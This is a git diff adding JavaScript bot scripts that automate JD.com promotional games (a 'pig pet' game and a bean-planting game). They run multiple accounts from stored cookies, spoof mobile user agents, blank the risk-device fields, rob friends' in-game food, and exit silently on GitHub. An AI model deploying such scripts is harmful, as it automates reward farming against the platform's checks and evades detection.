if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.award) { + console.log(`开宝箱获得${data.resultData.resultData.award.content},数量:${data.resultData.resultData.award.count}\n`); + + } else { + console.log(`开宝箱暂无奖励\n`) + } + await $.wait(2000); + await pigPetOpenBox(); + } else if (data.resultData.resultCode === 420) { + console.log(`开宝箱失败:${data.resultData.resultMsg}\n`) + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}\n`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询大转盘的次数 +function pigPetLotteryIndex() { + $.currentCount = 0; + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + console.log(`当前大转盘剩余免费抽奖次数:${data.resultData.resultData.currentCount}\n`); + console.log(`您的大转盘助力码为:${data.resultData.resultData.helpId}\n`); + $.shareCodes.push(data.resultData.resultData.helpId) + $.currentCount = data.resultData.resultData.currentCount; + } + } else { + console.log(`查询大转盘的次数:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询排行榜好友 +function pigPetRank() { + return new Promise(async resolve => { + const body = { + "type": 1, + "page": 1, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetRank', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pigPetRank API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + n = 0 + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0 && n < 5) { + $.friends = data.resultData.resultData.friends + for (let i = 0; i < $.friends.length; i++) { + if ($.friends[i].status === 1) { + $.friendId = $.friends[i].uid + $.name = $.friends[i].nickName + if (!['zero205', 'xfa05'].includes($.name)) { //放过孩子吧TT + console.log(`去抢夺【${$.friends[i].nickName}】的食物`) + await $.wait(2000) + await pigPetFriendIndex($.friendId) + } + } + } + } else { + console.log(`查询排行榜失败:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetFriendIndex(friendId) { + return new Promise(async resolve => { + const body = { + "friendId": friendId, + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetFriendIndex', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} pigPetFriendIndex API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + await pigPetRobFood($.friendId) + await $.wait(3000) + } else { + console.log(`进入好友猪窝失败:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抢夺食物 +async function pigPetRobFood(friendId) { + return new Promise(async resolve => { + const body = { + "source": 2, + "friendId": friendId, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetRobFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData.robFoodCount > 0) { + console.log(`抢夺成功,获得${data.resultData.resultData.robFoodCount}g${data.resultData.resultData.robFoodName}\n`); + n++ + } else { + console.log(`抢夺失败,损失${data.resultData.resultData.robFoodCount}g${data.resultData.resultData.robFoodName}\n`); + } + } else { + console.log(`抢夺失败:${JSON.stringify(data)}\n`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询签到情况 +function pigPetSignIndex() { + $.sign = true; + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetSignIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.sign = data.resultData.resultData.sign; + $.no = data.resultData.resultData.today; + } + } else { + console.log(`查询签到情况异常:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抽奖 +function pigPetLotteryPlay() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + "validation": "", + "type": 0 + } + $.post(taskUrl('pigPetLotteryPlay', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`大转盘抽奖获得:${data.resultData.resultData.award.name} * ${data.resultData.resultData.award.count}\n`); + } else { + console.log(`大转盘抽奖结果:没抽中,再接再励哦~\n`) + } + $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pigPetLotteryHelpFriend(helpId) { + return new Promise(async resolve => { + const body = { + "source": 2, + "helpId": helpId, + "channelLV": "juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryHelpFriend', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData.opResult == 0) { + console.log(`大转盘助力结果:助力成功\n`); + } else if (data.resultData.resultData.opResult == 461) { + console.log(`大转盘助力结果:助力失败,已经助力过了\n`); + } else { + console.log(`大转盘助力结果:助力失败`); + } + } + } else { + console.log(`${JSON.stringify(data)}\n`) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function missions() { + for (let item of $.missions) { + if (item.status === 4) { + console.log(`\n${item.missionName}任务已做完,开始领取奖励`) + await pigPetDoMission(item.mid); + await $.wait(1000) + } else if (item.status === 5) { + console.log(`\n${item.missionName}已领取`) + } else if (item.status === 3) { + console.log(`\n${item.missionName}未完成`) + if (item.mid === 'CPD01') { + await pigPetDoMission(item.mid); + } else { + await pigPetDoMission(item.mid); + await $.wait(1000) + let parse + if (item.url) { + parse = url.parse(item.url, true, true) + } else { + parse = {} + } + if (parse.query && parse.query.readTime) { + await queryMissionReceiveAfterStatus(parse.query.missionId); + await $.wait(parse.query.readTime * 1000) + await finishReadMission(parse.query.missionId, parse.query.readTime); + } else if (parse.query && parse.query.juid) { + await getJumpInfo(parse.query.juid) + await $.wait(4000) + } + } + } + } +} +//领取做完任务的奖品 +function pigPetDoMission(mid) { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "", + "riskDeviceParam": "{}", + mid + } + $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`奖励${data.resultData.resultData.award.name},数量:${data.resultData.resultData.award.count}`) + } + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询任务列表 +function pigPetMissionList() { + return new Promise(async resolve => { + const body = { + "source": 2, + "channelLV": "", + "riskDeviceParam": "{}", + } + $.post(taskUrl('pigPetMissionList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.missions = data.resultData.resultData.missions;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getJumpInfo(juid) { + return new Promise(async resolve => { + const body = {"juid":juid} + const options = { + "url": `${MISSION_BASE_API}/getJumpInfo?reqData=${escape(JSON.stringify(body))}`, + "headers": { + 'Host': 'ms.jr.jd.com', + 'Origin': 'https://active.jd.com', + 'Connection': 'keep-alive', + 'Accept': 'application/json', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/', + 'Accept-Encoding': 'gzip, deflate, br' + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('getJumpInfo', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryMissionReceiveAfterStatus(missionId) { + return new Promise(resolve => { + const body = {"missionId": missionId}; + const options = { + "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData=${escape(JSON.stringify(body))}`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('queryMissionReceiveAfterStatus', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//做完浏览任务发送信息API +function finishReadMission(missionId, readTime) { + return new Promise(async resolve => { + const body = {"missionId":missionId,"readTime":readTime * 1}; + const options = { + "url": `${MISSION_BASE_API}/finishReadMission?reqData=${escape(JSON.stringify(body))}`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Host": "ms.jr.jd.com", + "Cookie": cookie, + "Origin": "https://jdjoy.jd.com", + "Referer": "https://jdjoy.jd.com/", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('finishReadMission', data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_plantBean.js b/jd_plantBean.js new file mode 100644 index 0000000..412733f --- /dev/null +++ b/jd_plantBean.js @@ -0,0 +1,746 @@ +/* +种豆得豆 脚本更新地址:jd_plantBean.js +更新时间:2021-08-20 +活动入口:京东APP我的-更多工具-种豆得豆 +已支持IOS京东多账号,云端多京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +注:会自动关注任务中的店铺跟商品,介意者勿使用。 +互助码shareCode请先手动运行脚本查看打印可看到 +每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 + +=====================================Quantumult X================================= +[task_local] +1 7-21/2 * * * https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true + +=====================================Loon================================ +[Script] +cron "1 7-21/2 * * *" script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js,tag=京东种豆得豆 + +======================================Surge========================== +京东种豆得豆 = type=cron,cronexp="1 7-21/2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js + +====================================小火箭============================= +京东种豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/KingRan/JDJB/main/jd_plantBean.js, cronexpr="1 7-21/2 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('种豆得豆'); +//Node.js用户请在jdCookie.js处填写京东ck; +//ios等软件用户直接用NobyDa的jd cookie +let jdNotify = true;//是否开启静默运行。默认true开启 +let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message, subTitle; +//京东接口地址 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +//助力好友分享码(最多3个,否则后面的助力失败) +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [] +let allMessage = ``; +let currentRoundId = null;//本期活动id +let lastRoundId = null;//上期id +let roundList = []; +let awardState = '';//上期活动的京豆是否收取 +let randomCount = $.isNode() ? 20 : 5; +let num; +let llerror=false; +$.newShareCode = []; +let NowHour = new Date().getHours(); +let lnrun = 0; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + lnrun++; + await jdPlantBean(); + if(lnrun == 3){ + console.log(`\n【访问接口次数达到3次,休息一分钟.....】\n`); + await $.wait(60*1000); + lnrun = 0; + } + //await showMsg(); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function jdPlantBean() { + try { + console.log(`获取任务及基本信息`) + await plantBeanIndex(); + if(llerror) + return; + for (let i = 0; i < $.plantBeanIndexResult.data.roundList.length; i++) { + if ($.plantBeanIndexResult.data.roundList[i].roundState === "2") { + num = i + break + } + } + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl + $.myPlantUuid = getParam(shareUrl, 'plantUuid') + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); + jdPlantBeanShareArr.push($.myPlantUuid) + + roundList = $.plantBeanIndexResult.data.roundList; + currentRoundId = roundList[num].roundId;//本期的roundId + lastRoundId = roundList[num - 1].roundId;//上期的roundId + awardState = roundList[num - 1].awardState; 